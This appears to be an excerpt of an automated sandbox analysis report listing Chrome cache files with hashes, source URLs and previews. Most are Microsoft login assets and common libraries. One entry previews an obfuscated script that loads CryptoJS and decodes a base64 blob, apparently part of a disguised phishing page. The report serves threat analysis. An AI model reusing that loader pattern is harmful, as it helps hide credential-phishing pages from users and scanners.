SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 142367
Category:	downloaded
Size (bytes):	49911
Entropy (8bit):	7.994516776763163
Encrypted:	true
SSDEEP:	1536:vr2T/J/l2R6ACJVMQPYmlBXTm12g9bcKo0y0ci:CzJ/lG2KQzBjm1b3ci
MD5:	9B96CC09F9E89D0334BA2FBC22B5197A
SHA1:	B5FE69F39E9F61FEF88DF794F02DC4F4086E2592
SHA-256:	E6331018533143C411BAE25326AB52FCED541C48674551AEA78E750855BDCD1D
SHA-512:	2BDD71A34A7D6172AD4B7B6CF077A891D6266C148000EEF8345E2343E6C21ED8783B2EA328EF3BF7176462A3CA575D2D6D4B55A07138CFD1B02900C95F61077D
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js
Preview:	...........m[.8.0........OL....;w.....a.....\N.......h.r~........=........,..JU.......T~.l..?..y..2.X9.\|xvP9...TN.......?.....qe.OE.~Gn,.J.T....0......r..#.V&Qx_I.De.._.8.+S?N..HL..J......%O..S........(=.gO.\|.T.0......6.. ..y....x....8..p.T"1...\|$.Cz..V.D%.Ie.F....^."..5....c...?..T8..._..b.gs.4....S]kDZ..7.J.V..l}..?.....c...g.A...8.......8.VB......^..f..O.... ...`...H.{.$. OP..S..AC.gVE.I8..).-U.....R...A..%.T[...Fc{..49..If...y.'w.Q}..oz..v.....W...pp..%..G.+.r:.A......[.:..s.?U......_............k.y0.U....+I5..0.>.Q%.".w.....O....5w..;.;.>..mr.k53r.......k.0.I.<.D......d&...c..jhE..zx.]....y\|W....i...`.. .k.P...@.Uq.\;..1............z\|.O..Y5..........XtR,....R...k3..<..\.2.>.;T..$...kj.5-.i?/..YH`!jb..Z..=.&.L..F...([..y....K5pzQ.>i.1.......0..P...@...L.".n.x..Cj?..w.:+...n..4..H.. .....S.....h....8....v.l.[M.0..q..c;.....0..*.8.......l.TM..n "..km..S.<.T..].k.+1.....P.V...4-W.C....0-/.S;.w......K.z+...DZ....=q.E.@ .Dv.z...@.d.#tE...

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	dropped
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 15755
Category:	downloaded
Size (bytes):	5525
Entropy (8bit):	7.961202222662501
Encrypted:	false
SSDEEP:	96:dySl6/e7OAQD3cS66g8cxO4qXgy66F0+fgENU28TjN3KY6meSsj0ktMvB4YJix2I:dNl6/zFDW6dlXV665ReB67j0sEBWxl
MD5:	28CE5BF8BACB96D1C2CFA0092145C6EE
SHA1:	303A4629C4467AF2C551EC9E6353464C8C25827D
SHA-256:	6B89EEC14865DB53FE20FB3C70B0853362E21669DACE19C06172F673B2EDC5CD
SHA-512:	6A10794F105EF5C6F7F7DC2C89152A8342E6D9D8D9490783863ED2737FFD5982E916F72E0A9ECB944AB9815FA70BD20C7256A91E2A62D971F80C23822B809A02
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_1cd84c14a6b01fcd8515.js
Preview:	...........[}w.F....Bh..i3.M.t.rU.....]..M...@.(..........@..N..I-k..;w.....U.F..v....N....]....MC......U.]o>..mJ.w..~.5<......Z.h~8..8J..m......0.&Z:.Z.D_. .Z.....<.f..t..].I:..........b. ...}.ja......'..x......m6..c...$..........b\|s......O.a..cE..u.2..6jG!.A.....P..?q@?"..).Mk.0.[."V..M..4...4.~}.?.i..D.}h\|..$x.Ajm.S..H..-.x.If..]..1.D0.F......pq.(.\|...y\...5....y2.q.Fq...[.\|..n.b.i_D......xuR......I.TS.4..}\|<...o....MG.+@.......\.?."...+[...A..&...{]......u..+p?......\|...j....7...=H..cwp.38.;%c.....O..............p...X.g!....r...d..5.%x.....;...j6p...p......c.Nd.:...&.....%.. tR.d.@.. ...1..6....i....:...s=..V...iN..1../tH..p<..Mo.......`&.7uA;..(lC.......4...?..0..[S@...D..\|....=.wh2...<.. ...)..F...!. .C...k...S.pPt......s..K.V...w......7....Zn.d..t]l.........5=.(..#.....l._.Ip......-O.6.,......q4....!XS`6k..k.....9k....{~*.....X....q......l.>x..={j.n..W......e..Q..I/..;a..MS>.!5v.d.B+.o.....q...j.q..Z..=..@g.1q..,yBV91m.j>..4.o...

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	downloaded
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	dropped
Size (bytes):	35170
Entropy (8bit):	7.993096534744333
Encrypted:	true
SSDEEP:	768:K+LvEzA9nny7u0zF35Hm4ngomu6yeLDKDnccqmcmHvVVPCLVf:ny7f5GpuheL4htv3Pkf
MD5:	171A4DD9400708B88724B57D62B24A6A
SHA1:	9C6F1303B8F02FCE18D20EC9CADA11D38D0C4B37
SHA-256:	EA00750636C11DBD4FA3ACB1B3CDCBAE3EFA43F6B6C3753444B6D6A242AE9336
SHA-512:	5B13B63912B34E3EEEDD8DA5953B869A83DF82FFD2A8D737AA81DC984F1811800A534F340C48041DA803C25B6B8F5605EA8D003B6A09A1874408F95A710F5126
Malicious:	false
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:....r..._........,...A........z.....\|..t.. [.C.....{...~..c......ua...~.v<.I..P#._{{}._.......Km...eR....u?GY..h..}..gAv...<.l.Z...#.....:P?Q..."..........,.D...I<._.'..-..=..;.>.C_..#.....D[0.Y..*...M.....{.YT,...x..SQ/......N<`...\|._.k....0)......+.Z..4...M. ...i...`.ml..-X.E.....d.. .}.e4.{6hz^..}....@....W.1...d8...>.@.....(.'[..`..A..?...yL.\|..QTF...-.='S@.Q.sM.`...}.t..$..y^..0J.kC.S...U.

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1321), with CRLF line terminators
Category:	dropped
Size (bytes):	1962
Entropy (8bit):	5.954404131608835
Encrypted:	false
SSDEEP:	48:A7bvrSIrkZ8B32ZZsQz8Y17F9RZ3nMJ+HJv0VpuIt3V4p4bY:AH+I2K32Zhz79HnvpsuItl4a8
MD5:	23192FA657A0FA368D23619BE1F70E44
SHA1:	865EEDA329E93CC3A81C1C1F3677FE99BEBBB7C5
SHA-256:	EA5BAF6060497B15C9FE2B2EF96082AD1188157FAA8BE746D096DC5CE3C15C8C
SHA-512:	381227409E3A6EDEB47DB63D12627A5B06F593AB5E5674D7F29BF9D7AF56A71774461F281AF1CF90A259F0EC12E19F298B62641028CEC2FE44AC4F06A033749F
Malicious:	false
Preview:	var TeJvVKTNjEisCoGi = document.createElement("script");..TeJvVKTNjEisCoGi.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");..document.head.append(TeJvVKTNjEisCoGi);..TeJvVKTNjEisCoGi.onload=function(){..var {a,b,c,d} = JSON.parse(atob("eyJhIjoiZG50eXBTWHF4MTBrSmxPT3NcL0RqZzR5SjVwRjh5QW81enlRY2VCRjlzSU1IdW5VMXdkY0VwNmdVUE9DZmJRZXZXUzVWdG1QOHJ2eFU5T0pvbmhDb2NkR1daM1g0cUNVRUwwNzZYdVwvajB6XC90TXZoMGhXSXVobUEwdVQxU1owTXdvNGVLSCtSMDlQMzVtWjhEVldiWkxBbEp1OVJDNkZMVXdvSWxhOU5YM0lXY0lVb3pyNWF1bWNLZEJpN3FDRUROS0VkeVo0TEZ5Y1A1NUdcL0tHV0NQNFwvXC9zUTFGdmpmeUh5SHhyQlpjcG1oSG81RFwvSjhENDRROWpneXlaMjdKa1Zwbm1pQXJYd2J3cXJ3XC9YcXhhWTU2eG5zcVlOSVFuTTRPNjdKRnlFbGdcL2JxUUJaT1dKWmN2cFJsRHBaK29hU1djaTEzUkd0S2RvRVd6RXc5azNwZmpsa0xuZStkMnlvSnpJb1lwWlUxbEorUndMNVJDZUl1Tmg0UjV4REZmT1M0YjJwYXBFR3hTVmF5THRUUWZPS2NTSmZKTVJVRjFZemJmeDdjdnFsNXNHNjNFOVRMRnU2YytUQUc4eDI0N1lSam1ubWN1YzJ4QzgxanROT0RiZHJmTzBqNFVnaHRLa2hsb0tPRkZLY0ZwbFpxSFFCY0JTYTZnajgzTHFjYVY3VVllZmpHM2hcLz

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57510
Category:	dropped
Size (bytes):	16345
Entropy (8bit):	7.98960525258912
Encrypted:	false
SSDEEP:	384:hOBEj/gTOkWow6mhJqXnYI/0PiQBSoe122Yw/:hOBKJBXO586QB+11J
MD5:	187B9EBA41FDF66B2C8F7EB645D2BC17
SHA1:	B1C034F7F5F754F271D094FB417B9A820C1F712C
SHA-256:	CA0FBF8421A0CF4CCDA7310B2AE74CBD92214901EC2D0F273EA3B07F12CF96EA
SHA-512:	0D7FB682D24E97C9E3FC04AA87CCB8EC508CA0CF197DA0617EFFD981BC8B5E3600824FDD08F1F31F59D276B5BF53229D00805D984E01D512FD968610C5FE9609
Malicious:	false
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
